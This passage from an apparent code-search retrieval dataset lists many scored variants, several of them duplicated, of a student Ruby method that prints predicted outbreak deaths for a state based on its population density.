(population * 0.4).floor\n elsif population_density >= 150\n number_of_deaths = (population * 0.3).floor\n elsif population_density >= 100\n number_of_deaths = (population * 0.2).floor\n elsif population_density >= 50\n number_of_deaths = (population * 0.1).floor\n else\n number_of_deaths = (population * 0.05).floor\n end\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "c3a58bbb34d11245bd756b016048fc85", "score": "0.7822122", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = (population * 0.4).floor #population * popul\n elsif population_density >= 150 # \n number_of_deaths = (population * 0.3).floor\n elsif population_density >= 100\n number_of_deaths = (population * 0.2).floor\n elsif population_density >= 50\n number_of_deaths = (population * 0.1).floor\n else\n number_of_deaths = (population * 0.05).floor\n end\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "3b9a43d6c6ec906ac11025733697b0bd", "score": "0.7801027", "text": "def predicted_deaths(population_density, population, state)\n \n if @population_density >= 200\n number_of_deaths = (@population * 0.4)\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3)\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2)\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1)\n else \n number_of_deaths = (@population * 0.05)\n end\n\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2253ad7df9c746d7f9c5e32611113997", "score": "0.779844", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "21647b7abe97d3944b3b90135e2a4522", "score": "0.7786835", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n\n death_multiplier = {0 => 0.05, 50 => 0.1, 100 => 0.2, 150 => 0.3, 200 => 0.4}\n\n death_multiplier.each do |density, multiplier|\n\n if @population_density >= density\n\n @number_of_deaths = (@population * multiplier).floor\n\n end\n \n\n end\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "55732e94ea1e065893fdaf76ec867519", "score": "0.77843434", "text": "def predicted_deaths#(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n number_of_deaths = if @population_density >= 200\r\n\t\t\t\t\t\t\t\t\t (@population * 0.4).floor\r\n\t\t\t\t\t\t\t\t\t elsif @population_density >= 150\r\n\t\t\t\t\t\t\t\t\t (@population * 0.3).floor\r\n\t\t\t\t\t\t\t\t\t elsif @population_density >= 100\r\n\t\t\t\t\t\t\t\t\t (@population * 0.2).floor\r\n\t\t\t\t\t\t\t\t\t elsif @population_density >= 50\r\n\t\t\t\t\t\t\t\t\t (@population * 0.1).floor\r\n\t\t\t\t\t\t\t\t\t else\r\n\t\t\t\t\t\t\t\t\t (@population * 0.05).floor\r\n\t\t\t\t\t\t\t\t\t end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "6295a1fc85829ab1d0d607146203cb07", "score": "0.7782717", "text": "def predicted_deaths(population_density)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor #returns largest integer <= float\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "6295a1fc85829ab1d0d607146203cb07", "score": "0.7782717", "text": "def predicted_deaths(population_density)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor #returns largest integer <= float\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "6bf9c6570e7ccde31f24880658dfc4c9", "score": "0.778023", "text": "def predicted_deaths(population_density, population)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "154c853f0d7678ce19138997dd1bf04a", "score": "0.7777149", "text": "def predicted_deaths(population_density, population, state)\n factor = case @population_density\n when @population_density >= 200 then 0.4\n when @population_density >= 150 then 0.3\n when @population_density >= 100 then 0.2\n when @population_density >= 50 then 0.1\n else 0.05\n end\n\n print \"#{@state} will lose #{(@population * factor).floor} people in this outbreak\"\n\n end", "title": "" }, { "docid": "e28eedbd83e7b5aec704f429a6e01b82", "score": "0.7770006", "text": "def predicted_deaths(population_density)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "d83fc1658e5217b51d734faee5c46d28", "score": "0.7750282", "text": "def predicted_deaths\n coeff = (@population_density / 50).floor\n number_of_deaths = (@population * coeff * 0.1).floor \n number_of_deaths = (@population * 0.4).floor if @population_density >= 200\n number_of_deaths = (@population * 0.05).floor if @population_density < 50\n\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else \n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "fbd4a81ca62380fe52a84d39cbbe8694", "score": "0.77389044", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n\n if @population_density >= 200\n pct = 0.4\n elsif @population_density >= 150\n pct = 0.3\n elsif @population_density >= 100\n pct = 0.2\n elsif @population_density >= 50\n pct = 0.1\n else\n pct = 0.05\n end\n\n number_of_deaths = (@population * pct).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "0e62dcba46f10bbcee55d0bd6b119241", "score": "0.77352816", "text": "def predicted_deaths(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if population_density >= 200\r\n number_of_deaths = (population * 0.4).floor\r\n elsif population_density >= 150\r\n number_of_deaths = (population * 0.3).floor\r\n elsif population_density >= 100\r\n number_of_deaths = (population * 0.2).floor\r\n elsif population_density >= 50\r\n number_of_deaths = (population * 0.1).floor\r\n else\r\n number_of_deaths = (population * 0.05).floor\r\n end\r\n\r\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "2a4b48224d00e73e1b418fcfe407c1aa", "score": "0.7733496", "text": "def predicted_deaths\n case @population_density\n\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2a4b48224d00e73e1b418fcfe407c1aa", "score": "0.7733496", "text": "def predicted_deaths\n case @population_density\n\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "8fd7907125c0a90623d76221ec59979a", "score": "0.7725155", "text": "def predicted_deaths#(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n \r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "aa228e14e9e997b26687df22addf4199", "score": "0.772462", "text": "def predicted_deaths #(population_density, population)\n # predicted deaths is solely based on population density \n case \n when @population_density >= 200\n then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150\n then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100\n then number_of_deaths = (@population * 0.2).floor \n when @population_density >= 50\n then number_of_deaths = (@population * 0.1).floor\n when @population_density >= 0\n then number_of_deaths = (@population * 0.05).floor \n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "7448b1223272ce28034de0e9089eb34a", "score": "0.7723956", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n ratio = 0.4\n elsif @population_density >= 150\n ratio = 0.3\n elsif @population_density >= 100\n ratio = 0.2\n elsif @population_density >= 50\n ratio = 0.1\n else\n ratio = 0.05\n end\n number_of_deaths = (@population * ratio).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "fe460ea89d6b02854b37fa4a92170a36", "score": "0.77209646", "text": "def predicted_deaths(population_density, population)\n # predicted deaths is solely based on population density\n case @population_density \n when 150..199\n number_of_deaths = (@population * 0.3).floor\n when 100..149\n number_of_deaths = (@population * 0.2).floor\n when 50..99\n number_of_deaths = (@population * 0.1).floor\n else\n if @population_density >= 200 \n number_of_deaths = (@population * 0.4).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2ce4a9bef910e0c00bf5793d0ed785bd", "score": "0.7716278", "text": "def predicted_deaths(population_density, population, state)\n case @population_density\n when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n when 101..150\n number_of_deaths = (@population * 0.3).floor\n when 51..100\n number_of_deaths = (@population * 0.2).floor\n when @population_density <= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "2206b25e7c2c5d2a66d50965403c4041", "score": "0.7714867", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4)\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3)\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2)\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1)\n else\n number_of_deaths = (@population * 0.05)\n end\n # number_of_deaths = (@population * (@population_density)/500)\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\n​\n end", "title": "" }, { "docid": "c459bcc2a5d35800b54cb50798a40aa7", "score": "0.7705772", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n number_of_deaths = \n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "8ca8ad34909f34e734aa041212f7bf0b", "score": "0.7699292", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n\n # densities = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1, 0 => 0.05}\n densities = {0 => 0.05, 50 => 0.1, 100 => 0.2, 150 => 0.3, 200 => 0.4}\n\n densities.each do |density, ratio|\n if @population_density >= density\n @number_of_deaths = (@population * ratio).floor\n end\n end\n\n=begin\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n=end\n\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "866919c143b0fa38377c3524c8b7ec2a", "score": "0.7699026", "text": "def predicted_deaths(population_density, population, state)\n case @population_density\n when 0..49 then number_of_deaths = (@population * 0.1).floor\n when 50..99 then number_of_deaths = (@population * 0.2).floor\n when 100..149 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 200 then number_of_deaths = (@population * 0.4)\n else \n number_of_deaths = (@population * 0.05).floor \n end \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "f6523c4b419d20a632d37922eabec25e", "score": "0.7688172", "text": "def predicted_deaths(population_density)\n # predicted deaths is solely based on population density\n \n pop = @population_density\n case pop \n when pop >= 200 \n number_of_deaths = (@population * 0.4).floor\n when pop >= 150 \n number_of_deaths = (@population * 0.3).floor\n when pop >= 100 \n number_of_deaths = (@population * 0.2).floor\n when pop >= 50 \n number_of_deaths = (@population * 0.1).floor \n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "504464070c44533b81782791f160de2e", "score": "0.76851237", "text": "def predicted_deaths(population_density, population, state)\n case @population_density\n\n when 0..50\n number_of_deaths = (@population * 0.05).floor\n when 50..100\n number_of_deaths = (@population * 0.1).floor\n when 100..150\n number_of_deaths = (@population * 0.2).floor\n when 150..200\n number_of_deaths = (@population * 0.3).floor\n else\n number_of_deaths = (@population * 0.4).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "0759717ba93072219b4804b7697378cb", "score": "0.768338", "text": "def predicted_deaths#(population_density, population, state)\n pct = case\n when @population_density >= 200 \n 0.4\n when @population_density >= 150 \n 0.3\n when @population_density >= 100 \n 0.2\n when @population_density >= 50 \n 0.1\n else\n 0.05\n end\n\n print \"#{@state} will lose #{ (@population * pct).floor } people in this outbreak\"\nend", "title": "" }, { "docid": "e8b7fa3473970555a66fff2515fbfe08", "score": "0.7676029", "text": "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n# print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "1eecbc5e8af6ec87c1d4b570e66c898b", "score": "0.7673482", "text": "def predicted_deaths(state_density, population)\n # predicted deaths is solely based on population density\n number_of_deaths = ''\n hash = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1}\n\n hash.each do |density, float|\n if @population_density >= density\n number_of_deaths = (@population * float).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n number_of_deaths\n end\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "7500f63b14f2c930d364577ee7a1e17b", "score": "0.76684576", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is based on population/ density\n\n # ---------------------refactor-----------------------------\n number_of_deaths = 0\n nums_check = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1}\n nums_check.each do |key, value|\n if @population_density >= key\n number_of_deaths = (@population * value).floor\n break\n else\n number_of_deaths = (@population * 0.05).floor\n end\n end\n # ---------------------refactor-----------------------------\n\n # ---------------------original-----------------------------\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n # ---------------------original-----------------------------\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "e3e789e6a1be624998a4432a9e33004e", "score": "0.7666865", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "73f4951ebe412c9fba9c5bae7abccd0c", "score": "0.76632255", "text": "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n # case @population_density #often used for equality\r\n\r\n #when (1..50)\r\n #factor = 0.05\r\n\r\n # population * factor\r\n\r\n # print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "870445a3bbfc8ac837fe2a093eb466c7", "score": "0.76565963", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "870445a3bbfc8ac837fe2a093eb466c7", "score": "0.76565963", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "8698caaa42b91e2672076e3cabf480e7", "score": "0.76545745", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n\n\n if @population_density >= 200\n x = 0.4\n # number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n x = 0.3\n # number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n x = 0.2\n elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n x = 0.1\n else\n # number_of_deaths = (@population * 0.05).floor\n x = 0.05\n end\n\n number_of_deaths = (@population * x).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "fba0d767571688a542d1b6baf70eebdb", "score": "0.76531184", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4)\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3)\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2)\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1)\n else\n number_of_deaths = (@population * 0.05)\n end\n\n number_of_deaths = number_of_deaths.floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "c1423b78c17afcb57f177f4c90010315", "score": "0.7650715", "text": "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "0b35641f6f316651adaf16ab74d30a58", "score": "0.76493233", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "6b1c91c5404b7c3a5a782bb6bbd5d4f4", "score": "0.7647255", "text": "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n number_of_deaths = if @population_density >= 200\r\n (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n (@population * 0.1).floor\r\n else\r\n (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "e39103cf62c245bb27ae90768dabf93d", "score": "0.7643293", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n\n if @population_density >= 200\n x = 0.4\n elsif @population_density >= 150\n x = 0.3\n elsif @population_density >= 100\n x = 0.2\n elsif @population_density >= 50\n x = 0.1\n else\n x = 0.05\n end\n number_of_deaths = (@population * x).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "7e667811e136c5b720e8936b12f77423", "score": "0.76419556", "text": "def death_toll(population_density, population, state)\n speed = 0.0\n \n if @population_density >= 200\n number_of_deaths = (@population * 0.4).to_i\n speed += 0.5\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).to_i\n speed += 1\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).to_i\n speed += 1.5\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).to_i\n speed += 2\n else\n number_of_deaths = (@population * 0.05).to_i\n speed += 2.5\n end\n puts \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "33b5287cd6201ec46bbec4e8b5cebd58", "score": "0.7641783", "text": "def predicted_deaths#(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n death_multiplier = 0.4\r\n elsif @population_density >= 150\r\n death_multiplier = 0.3\r\n elsif @population_density >= 100\r\n death_multiplier = 0.2\r\n elsif @population_density >= 50\r\n death_multiplier = 0.1\r\n else\r\n death_multiplier = 0.05\r\n end\r\n\r\n number_of_deaths = (@population * death_multiplier).floor\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "d1ab17ca622e7d96bdcdfe815ec68e11", "score": "0.7641115", "text": "def predicted_deaths(population_density, population, state)\n \n if @population_density >= 50\n number_of_deaths = (@population * (@population_density / 500)).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n \n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths 